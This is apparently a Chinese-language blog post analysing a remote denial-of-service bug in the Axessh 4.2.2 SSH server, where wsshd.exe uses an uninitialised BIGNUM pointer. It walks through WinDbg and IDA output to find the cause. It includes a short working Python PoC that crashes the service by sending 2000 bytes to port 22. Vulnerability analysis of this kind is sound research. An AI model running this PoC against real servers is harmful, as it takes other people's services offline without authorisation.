漏洞说明

Axessh是一款windows下的ssh工具,使用后会开启ssh 22端口,并开启wsshed.exe服务,当wsshed.exe在接收字符串时,会调用BIGNUM相关函数进行处理,但对于BIGNUM的结构体没有进行赋初值,导致空指针引用引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载: https://www.exploit-db.com/apps/12d8cee31a99cdbd7d30ebf5c86c57ca-axessh.exe

PoC:

import socket
 
print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"
 
ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)

漏洞分析

这里要提的一点是,Exploit-db给的PoC可以触发漏洞,但实际上,只要连接22端口,都会引发这个漏洞的发生,哪怕只发送一字节的内容。

附加wsshed.exe,执行PoC,引发中断,这边捕获到漏洞触发位置。

0:000> g
(f74.a68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003da7d0 ebx=00000008 ecx=00000000 edx=00000001 esi=00000008 edi=003d77a0
eip=00402bfe esp=0012f530 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
wsshd+0x2bfe:
00402bfe 8b5108          mov     edx,dword ptr [ecx+8] ds:0023:00000008=????????

可以看到此时ecx的值是00000000,显然这里是想引用一个指针+08h偏移位置的值,但是由于空指针的原因引发了拒绝服务,看一下堆栈回溯。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 wsshd+0x2bfe

可以看到这里只有一处引用,但实际上程序没有做这么少的事情,来看一下ida pro的外层伪代码。

 if ( dword_4545EC && sub_404C80((SOCKET)s, 0xFFFF, 8, optval, 4) < 0 )
  {
    v88 = v77();
    v89 = (unsigned int)strerror(*v88);
    sub_41B070("setsockopt SO_KEEPALIVE: %.100s", v89);
  }
  sub_41B670((SOCKET)s, v98);
  sub_419400();
  v92 = sub_419250(v90, v91);
  sub_41B0B0("Connection from %.500s port %d", v92);

  if ( dword_4562E8 && (hSourceHandle = s, dword_44E1C4 = v98, sub_402710() == 1) )
  {
    if ( dword_4562E8 )
    {
      sub_425330(*(void **)dword_44E204);
      dword_4562E8 = 0;
      if ( !dword_452F5C )
        sub_402510();
    }
  }
  else
  {
    sub_418CC0((int)&unk_453F80);
    if ( dword_452F5C )
    {
      sub_403040();
      sub_42A060(v93);
    }
    else
    {
      sub_402BB0();
      sub_429A90(v93);
    }
    if ( dword_4562E8 )
    {
      sub_426390(*(_DWORD *)dword_44E204);
      sub_403150("position - mm_send_keystate(pmonitor)", v95);
      return 0;
    }
  }

观察刚进入函数的代码,会做一些连接的操作,其实这个过程都和获取字符串无关,但是和接收到连接情况有关,接收后,会有一处调用。

0:000> p
eax=00000000 ebx=00000658 ecx=00000000 edx=003d0608 esi=003d8f20 edi=003d8d68
eip=004049b4 esp=0012f5c4 ebp=00000001 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wsshd+0x49b4:
004049b4 e8f7e1ffff      call    wsshd+0x2bb0 (00402bb0)

这个调用会进入到关键函数

int sub_402BB0()
{
  v0 = 0;
  v1 = 0;
  do
  {
    if ( !(v1 & 3) )
      v0 = sub_431660();
    v42[v1] = v0;
    v0 >>= 8;
    ++v1;
  }
  while ( v1 < 8 );
  sub_41BC20(2);
  v2 = 0;
  do
    sub_41BC70(v42[v2++]);
  while ( v2 < 8 );
  v3 = BN_num_bits(*(_DWORD *)(*(_DWORD *)(dword_453F40 + 8) + 16));

在漏洞触发位置调用了函数BN_num_bits函数,这个函数作用是openssl中负责处理将BNNUM结构体中的字符转换成二进制的,而在本例中,当前结构体是dword_453F40,这是一处全局变量。

在openssl中,是通过BN_new的方法初始化结构体的。

.text:00432796 BN_new          proc near               ; CODE XREF: sub_402BB0+1BDp
.text:00432796                                         ; sub_419840:loc_419891p ...
.text:00432796                 jmp     ds:__imp_BN_new
.text:00432796 BN_new          endp

在初始化位置下断点,同时在漏洞函数下断点,直接运行。

0:004> bp 432796
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for wsshd.exe - 
0:004> bp 00402bf8
0:004> g
Breakpoint 1 hit
eax=003db4e8 ebx=00000008 ecx=00000000 edx=00000001 esi=00000008 edi=003d8060
eip=00402bf8 esp=0012f530 ebp=00000001 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wsshd+0x2bf8:
00402bf8 8b0d403f4500    mov     ecx,dword ptr [wsshd!mklPerror+0x49330 (00453f40)] ds:0023:00453f40=00000000

这里没有进行BN_new初始化处理,而是直接执行了目标函数,这时候传给ecx寄存器的值是00000000,也就是结构体没有赋初值,从而导致了空指针引用,引发拒绝服务漏洞。

标签: none

添加新评论